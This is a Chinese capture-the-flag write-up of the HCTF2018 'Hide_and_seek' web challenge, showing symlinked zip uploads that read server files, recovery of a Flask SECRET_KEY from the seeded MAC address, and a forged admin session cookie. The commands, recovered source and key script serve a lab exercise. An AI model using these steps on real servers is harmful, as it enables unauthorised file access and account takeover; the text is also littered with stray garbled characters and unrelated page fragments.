HCTF2018-Hide-and-seek


title: HCTF2018-Hide_and_seek
date: 2019-06-03 16:11:18
tags:
- HCTF2018
- CTF復(fù)現(xiàn)
- flask session偽造
categories:
- CTF
- HCTF2018


HCTF2018 Web題 Hide_and_seek 復(fù)現(xiàn)


前言

今天復(fù)現(xiàn)一下HCTF2018里的Hide_and_seek。先貼一下docker github地址
https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/Hideandseek
部署完之后蛋叼,還有點小問題眼俊,需要解決下妈经,首先是上傳文件存放在./uploads文件夾下,這個鏡像里沒有疟丙,所以要自己在app目錄下建一個uploads文件夾鸵赫。然后是DockerFile需要改下航邢,加上一行內(nèi)容ENV UWSGI_INI /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini


審題

環(huán)境部署好后,點擊題目去溯革,如下圖

image

隨便點點贞绳,發(fā)現(xiàn)只有登錄功能有用,沒有注冊功能致稀,簡單測試一下登錄功能冈闭,發(fā)現(xiàn)隨便輸用戶名和密碼,都能以輸入的用戶名登錄抖单,除了admin之外萎攒。登錄之后,來到一個上傳頁面矛绘。
image

上傳頁面說讓上傳zipfile耍休,于是隨便壓縮一個1.txt文件,1.txt文件里內(nèi)容為Miracle778 test货矮。然后上傳這個zip包羊精,然后網(wǎng)頁回顯如下圖,網(wǎng)站把上傳的zip里的文件解壓了囚玫,然后輸出园匹。
image

于是理所當(dāng)然的就聯(lián)想能不能用zip去讀非本地文件呢? 答案是肯定的雳刺,我們可以壓縮一個軟鏈接,類似于windows下的快捷方式裸违,然后網(wǎng)站后臺會解壓讀取該軟鏈接指向的服務(wù)器上的文件掖桦,就能達到讀取任意文件的效果。例如我們使用ln -s /etc/passwd passwd命令生成一個指向/etc/passwd文件的軟鏈接供汛,然后用zip -y passwd.zip passwd命令壓縮枪汪,然后上傳,結(jié)果如下圖怔昨,成功讀取雀久。

image

上面發(fā)現(xiàn)一個任意文件讀取漏洞,我們可以與前面admin不能登錄聯(lián)系一下趁舀,猜測這里可能是要用軟鏈接讀取相關(guān)文件使得可以用admin身份登錄或者是直接讀flag文件赖捌。不過后者應(yīng)該幾率不大,因為如果能直接讀flag文件的話矮烹,那前面設(shè)置admin不讓登錄就沒有那個必要越庇。所以,大概率是讀取跟admin相關(guān)的文件奉狈,然后以admin身份登錄出flag卤唉,那么跟admin相關(guān)的文件有什么呢,密碼文件肯定不是的仁期,因為這個登錄就沒用到密碼桑驱,沒用到數(shù)據(jù)庫,那既然沒用到數(shù)據(jù)庫跛蛋,程序怎么知道登錄用戶身份呢熬的,只能是通過session或cookie。于是看一下頁面cookie信息赊级,session=eyJ1c2VybmFtZSI6Ik1pcmFjbGU3NzgifQ.D9ZqoQ.55S3MNA12PX-uvm9ELiK4O9Uie0悦析,很像flask的session信息,于是用腳本解密一下此衅,發(fā)現(xiàn)還真是flask的session强戴,內(nèi)容為{'username':'Miracle778'}

到這里思路就大致清晰了挡鞍,我們要用到上傳zipfile讀取到SECRET_KEY骑歹,然后偽造admin的session進行登錄。


做題

上面把思路理的差不多了墨微,現(xiàn)在就是做題了道媚。這里首先要解決的就是文件路徑的問題,我們不知道服務(wù)器上有哪些文件,就無法生成軟鏈接進行讀取谴分。所以這里還考了linux的一些知識 —— linux一些危險系統(tǒng)文件路徑。

這里我也就不做分析了牺蹄,我也是看wp來的,這里主要用到了linux的/proc目錄沙兰,參考文章:https://www.cnblogs.com/DswCnblog/p/5780389.html

/proc是一種偽文件系統(tǒng)(也即虛擬文件系統(tǒng))鼎天,存儲的是當(dāng)前內(nèi)核運行狀態(tài)的一系列特殊文件,用戶可以通過這些文件查看有關(guān)系統(tǒng)硬件及當(dāng)前正在運行進程的信息斋射,甚至可以通過更改其中某些文件來改變內(nèi)核的運行狀態(tài)。

我們這里用到的是/proc/self/environ

environ是 — 當(dāng)前進程的環(huán)境變量列表但荤,self可以替換成進程號罗岖。

我們生成/proc/self/environ的軟鏈接,壓縮后上傳纱兑,得到flask的環(huán)境變量呀闻,簡單整理下放在下面化借。

HOSTNAME=7ba9b7bc961a
SHLVL=1
PYTHON_PIP_VERSION=19.1.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
WERKZEUG_SERVER_FD=3
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/
static_=/usr/local/bin/python
UWSGI_CHEAPER=2
WERKZEUG_RUN_MAIN=true
NGINX_VERSION=1.15.8-1~
stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.15.8.0.2.7-1~
stretchLANG=C.UTF-8
PYTHON_VERSION=3.6.8
NGINX_WORKER_PROCESSES=1
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app
PYTHONPATH=/app
STATIC_PATH=/app/static

掃一眼過去潜慎,能夠發(fā)現(xiàn)一項UWSGI_INI,以INI結(jié)尾蓖康,應(yīng)該是個配置文件铐炫,網(wǎng)上搜索一下,結(jié)果放在了下面蒜焊。

uWSGI是一個Web應(yīng)用服務(wù)器倒信,它具有應(yīng)用服務(wù)器,代理泳梆,進程管理及應(yīng)用監(jiān)控等功能鳖悠。它支持WSGI協(xié)議,同時它也支持自有的uWSGI協(xié)議优妙,

然后再看到這一項的值it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini乘综,這樣看來,這個文件必有問題套硼,于是構(gòu)造軟鏈接卡辰,生成zip,上傳讀取。
得到/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini文件內(nèi)容如下九妈。

[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app
logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log

簡單搜一下反砌,就能明白module、callable選項的含義萌朱。于是可知main.py源碼路徑為
/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

然后就是讀取該文件源碼宴树,構(gòu)造軟鏈接、生成zip包嚷兔,上傳得文件內(nèi)容

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

看到代碼第29行森渐,可以知道flag是藏在/app/flag.py文件里,想著是不是可以生成下軟鏈接直接讀取呢冒晰,后面測試同衣,發(fā)現(xiàn)還是提示you are not admin然后重定向到index頁面,原來是第79行處壶运,執(zhí)行了一個判斷,如果通過上傳的zip打開的文件里面有含有hctf的話埠况,就會重定向到index?error=1頁面,所以這條路是行不通的辕翰,對應(yīng)了前面我的分析喜命。
所以只能通過找SECRET_KEY這個方法了河劝,我們看到第11行 app.config['SECRET_KEY'] = str(random.random()*100)赎瞎,SECRET_KEY居然等于一個隨機數(shù)字字符串,這就有點懵了牡辽,難道每次SECRET_KEY能不一樣态辛,這也tm行嗎哟绊。痰憎。后面發(fā)現(xiàn)铣耘,原來在這行代碼之前第9行處蜗细,有一個random.seed(uuid.getnode())怒详,設(shè)置隨機數(shù)種子操作。我們知道吊骤,python random生成的數(shù)不是真正的隨機數(shù)白粉,而是偽隨機數(shù)鼠渺,利用偽隨機數(shù)的特性,只要種子是一樣的鹃祖,后面產(chǎn)生的隨機數(shù)值也是一致的恬口。
于是我們把注意力放到這里的偽隨機數(shù)種子楷兽,uuid.getnode()华临,通過查詢可以知道端考,這個函數(shù)可以獲取網(wǎng)卡mac地址并轉(zhuǎn)換成十進制數(shù)返回却特。也就是說,只要搞到服務(wù)器的網(wǎng)卡mac地址椿浓,就能確定種子扳碍,進而確定SECRET_KEY,那服務(wù)器網(wǎng)卡mac地址又怎么獲得呢碱蒙?
我們知道有一句話叫赛惩,linux中一切皆文件趁餐,沒錯后雷,網(wǎng)卡mac地址也能在文件中找到⌒邱可以通過讀/sys/class/net/eth0/address文件得到mac地址琳状,于是構(gòu)造軟鏈接盒齿、生成zip边翁、上傳看返回結(jié)果,如下圖叨咖,得到服務(wù)器mac地址為:02:42:ac:15:00:02甸各。然后就是把mac地址處理下焰坪,轉(zhuǎn)換成10進制,然后設(shè)置成seed儒恋,生成一下SECRET_KEY。腳本如下

import uuid
import random

mac = "02:42:ac:15:00:02"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr) #結(jié)果為 97.9970136622037

得到SECRET_KEY:97.9970136622037

然后調(diào)用我在上一篇文章中提到的flask_session_manager腳本涂邀,生成admin的session比勉。

image

運行python flask_session_manager.py ncode -s '97.9970136622037' -t "{'username':'admin'}"
得到eyJ1c2VybmFtZSI6ImFkbWluIn0.XPTz5A.F7MvChr04yrat31KWqstSRC_dZs

用新生成的session浩聋,替換掉之前的衣洁,即可得到flag抖仅。


image

總結(jié)

通過這個題目了解了linux下面一些系統(tǒng)文件的含義撤卢。一切皆文件


參考

https://www.kingkk.com/2018/11/hctf2018-web-writeup/#%E4%B8%80%E5%88%87%E7%9A%86%E6%96%87%E4%BB%B6
http://momomoxiaoxi.com/ctf/2018/11/12/HCTF2018/

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末放吩,一起剝皮案震驚了整個濱河市渡紫,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌莉测,老刑警劉巖捣卤,帶你破解...
    沈念sama閱讀 206,839評論 6 482
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件腌零,死亡現(xiàn)場離奇詭異唆阿,居然都是意外死亡驯鳖,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,543評論 2 382
  • 文/潘曉璐 我一進店門扭弧,熙熙樓的掌柜王于貴愁眉苦臉地迎上來鸽捻,“玉大人泽腮,你說我怎么就攤上這事『衤” “怎么了碧磅?”我有些...
    開封第一講書人閱讀 153,116評論 0 344
  • 文/不壞的土叔 我叫張陵,是天一觀的道長丰榴。 經(jīng)常有香客問我秆撮,道長像吻,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,371評論 1 279
  • 正文 為了忘掉前任姆涩,我火速辦了婚禮骨饿,結(jié)果婚禮上宏赘,老公的妹妹穿的比我還像新娘黎侈。我一直安慰自己,他們只是感情好贴汪,可當(dāng)我...
    茶點故事閱讀 64,384評論 5 374
  • 文/花漫 我一把揭開白布扳埂。 她就那樣靜靜地躺著,像睡著了一般梅尤。 火紅的嫁衣襯著肌膚如雪岩调。 梳的紋絲不亂的頭發(fā)上誊辉,一...
    開封第一講書人閱讀 49,111評論 1 285
  • 那天堕澄,我揣著相機與錄音,去河邊找鬼拍屑。 笑死坑傅,一個胖子當(dāng)著我的面吹牛唁毒,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播粉私,決...
    沈念sama閱讀 38,416評論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼诺核,長吁一口氣:“原來是場噩夢啊……” “哼久信!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起裙士,我...
    開封第一講書人閱讀 37,053評論 0 259
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎锅风,沒想到半個月后鞍泉,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體咖驮,經(jīng)...
    沈念sama閱讀 43,558評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡托修,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,007評論 2 325
  • 正文 我和宋清朗相戀三年睦刃,在試婚紗的時候發(fā)現(xiàn)自己被綠了十酣。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,117評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡兴泥,死狀恐怖搓彻,靈堂內(nèi)的尸體忽然破棺而出嘱朽,到底是詐尸還是另有隱情,我是刑警寧澤骑篙,帶...
    沈念sama閱讀 33,756評論 4 324
  • 正文 年R本政府宣布靶端,位于F島的核電站凛膏,受9級特大地震影響猖毫,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜趁蕊,卻給世界環(huán)境...
    茶點故事閱讀 39,324評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望是己。 院中可真熱鬧任柜,春花似錦、人聲如沸摔认。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,315評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至况鸣,卻和暖如春镐捧,著一層夾襖步出監(jiān)牢的瞬間臭增,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,539評論 1 262
  • 我被黑心中介騙來泰國打工列牺, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留瞎领,地道東北人随夸。 一個月前我還...
    沈念sama閱讀 45,578評論 2 355
  • 正文 我出身青樓宾毒,卻偏偏與公主長得像,于是被迫代替她去往敵國和親乙各。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,877評論 2 345

推薦閱讀更多精彩內(nèi)容